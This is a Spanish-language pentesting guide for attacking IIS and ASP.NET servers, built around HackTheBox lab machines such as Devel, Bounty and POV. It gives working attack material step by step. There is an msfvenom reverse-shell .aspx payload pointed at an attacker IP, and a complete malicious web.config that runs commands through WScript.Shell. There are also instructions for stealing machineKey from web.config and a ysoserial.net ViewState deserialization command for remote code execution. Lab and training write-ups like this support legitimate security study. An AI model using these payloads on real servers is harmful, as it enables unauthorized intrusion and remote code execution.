Pentesting IIS y ASP.NET: web.config, shells .aspx y ViewState
Atacar un servidor IIS paso a paso: reconocer ASP.NET, fuzzing con extensiones, nombres cortos con tilde, subir una shell .aspx o un web.config, leer el machineKey y explotar el ViewState.
Cuando una máquina Windows tiene web, casi siempre es IIS, el servidor web de Microsoft, con aplicaciones ASP.NET. Se ataca distinto que un Apache con PHP: las extensiones que ejecutan código son otras, hay un fichero de configuración (web.config) que lo controla todo y existe un fallo de diseño propio, el ViewState, que con la clave adecuada se convierte en ejecución de código.
Lo mínimo que tienes que saber
- Extensiones que ejecutan código en IIS:
.aspx,.ashx,.asmx(ASP.NET) y.asp(ASP clásico). Si puedes subir o escribir una de ellas en la web, tienes una shell. web.configes la configuración de la aplicación. Puede contener cadenas de conexión con contraseñas y el machineKey, la clave que firma y cifra el ViewState.- El ViewState es un campo oculto (
__VIEWSTATE) con el estado de la página serializado. Si conoces el machineKey, puedes fabricar uno malicioso que el servidor deserializa: ejecución de código. - La shell que consigas correrá como
IIS APPPOOL\<nombre>, que casi siempre tiene SeImpersonatePrivilege.
Requisitos
- ffuf o gobuster y SecLists.
- shortscan para los nombres cortos:
go install github.com/bitquark/shortscan/cmd/shortscan@latest. - Webshells de Kali en
/usr/share/webshells/aspx/ymsfvenom. - Una VM de Windows (o una sesión en la víctima) para ysoserial.net si llegas al ViewState.
- Para practicar: Devel y Bounty (fáciles) y POV (media).
Paso 1: reconocer IIS y ASP.NET
curl -sI http://10.10.10.93/
HTTP/1.1 200 OK
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Otras pistas: la cabecera X-AspNet-Version, la cookie ASP.NET_SessionId, campos __VIEWSTATE y __EVENTVALIDATION en los formularios y páginas que acaban en .aspx. La versión de IIS te dice la de Windows (7.5 es Windows 7 o Server 2008 R2; 10.0 es Windows 10 o Server 2016 en adelante).
Paso 2: fuzzing con las extensiones correctas
IIS no distingue mayúsculas de minúsculas, así que usa listas en minúsculas y añade las extensiones de Microsoft:
ffuf -u http://10.10.10.93/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt \
-e .aspx,.asp,.ashx,.asmx,.config,.txt -ic
transfer.aspx [Status: 200, Size: 941, Words: 89, Lines: 22]
uploadedfiles [Status: 301, Size: 157, Words: 9, Lines: 2]
SecLists trae además una lista específica de IIS: /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt. El resto de opciones de fuzzing están en la guía de fuzzing de directorios y vhosts.
Paso 3: nombres cortos con la tilde
Por compatibilidad con MS-DOS, Windows da a cada fichero un nombre corto de 8+3 caracteres (TRANSF~1.ASP). Muchos IIS responden distinto si un nombre corto existe o no, lo que permite adivinar los primeros caracteres de ficheros que ningún diccionario encontraría:
shortscan http://10.10.10.93/
La salida lista los nombres cortos encontrados (por ejemplo TRANSF~1.ASP). Con el prefijo, haz un fuzzing dirigido: ffuf -u http://10.10.10.93/transfFUZZ.aspx -w palabras.txt.
Paso 4: subir una shell
Si encuentras una forma de escribir en la web (una subida, un FTP, una base de datos que escribe ficheros), sube una .aspx:
cp /usr/share/webshells/aspx/cmdasp.aspx .
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
- En Devel el FTP anónimo escribe en la raíz de IIS:
put shell.aspxy abreshttp://10.10.10.5/shell.aspx. Allí es un Windows de 32 bits, así que usawindows/shell_reverse_tcp. - En Silo es Oracle quien escribe la shell en la web con
UTL_FILE.
Si el filtro bloquea .aspx (como en Hathor), prueba las demás extensiones que ejecutan código y los trucos de la guía de subida de ficheros.
Paso 5: cuando solo puedes subir un web.config
Es el caso de Bounty: transfer.aspx rechaza .aspx pero acepta .config. Un web.config puede convertirse a sí mismo en una página ASP que se ejecuta:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"
requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions><remove fileExtension=".config" /></fileExtensions>
<hiddenSegments><remove segment="web.config" /></hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set s = CreateObject("WScript.Shell")
Set c = s.Exec("cmd /c whoami")
Response.Write(c.StdOut.ReadAll())
%>
Súbelo y ábrelo (en Bounty, http://10.10.10.93/uploadedfiles/web.config):
bounty\merlin
Cambia whoami por una reverse shell de PowerShell.
Paso 6: leer el web.config
Si tienes una lectura de ficheros (LFI o path traversal), el primer objetivo en IIS es web.config. Prueba rutas relativas a la aplicación (web.config, \web.config, ..\web.config) y la absoluta habitual, C:\inetpub\wwwroot\web.config.
<machineKey decryption="AES" decryptionKey="<64 caracteres hexadecimales>"
validation="SHA1" validationKey="<128 caracteres hexadecimales>" />
Busca también connectionString con usuario y contraseña de la base de datos. En POV un parámetro de descarga solo quita ../, así que \web.config funciona y devuelve un machineKey como el de arriba. En Perspective se consigue con una inclusión del lado del servidor (SSI) en un .shtml.
Paso 7: ViewState con el machineKey
Con el machineKey fabricas un ViewState que, al deserializarse, ejecuta tu comando. Desde Windows, con ysoserial.net:
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties `
--path="/portfolio/default.aspx" --apppath="/" `
--decryptionalg="AES" --decryptionkey="<decryptionKey>" `
--validationalg="SHA1" --validationkey="<validationKey>" `
-c "powershell -e <base64>"
La salida es una cadena larga en Base64. Intercepta en Burp una petición POST a esa página y sustituye el valor de __VIEWSTATE por la cadena (codificada para URL). Si el comando es una reverse shell, llega la conexión. Más contexto sobre esta familia de fallos en deserialización insegura.
Nota
--path es la ruta de la página que procesa el ViewState y --apppath la raíz de la aplicación. Si te equivocas, el servidor rechaza el ViewState con un error de validación y no se ejecuta nada.
Errores típicos
404.7o404.8al pedir tu fichero: el request filtering de IIS bloquea esa extensión o el segmento (web.configestá bloqueado por defecto). De ahí las líneasremovedel Paso 5.500al abrir elweb.configsubido: hay un error de sintaxis en el XML o falta el módulo de ASP clásico. Prueba primero sin el bloque<% %>.- La shell
.aspxde msfvenom no conecta: arquitectura equivocada. Prueba la versión x86 y la x64, y revisa si Defender la ha borrado. Validation of viewstate MAC failed:--path,--apppatho las claves no corresponden a la página. Copia el__VIEWSTATEGENERATORde la página y pásalo con--generatoren lugar de--path.- ysoserial.net no arranca en Linux: necesita .NET Framework. Usa una VM de Windows o una sesión en la propia víctima.
Y después
La cuenta del application pool tiene casi siempre SeImpersonatePrivilege: sigue con SeImpersonate y potatoes. Tienes los pasos web en la checklist web.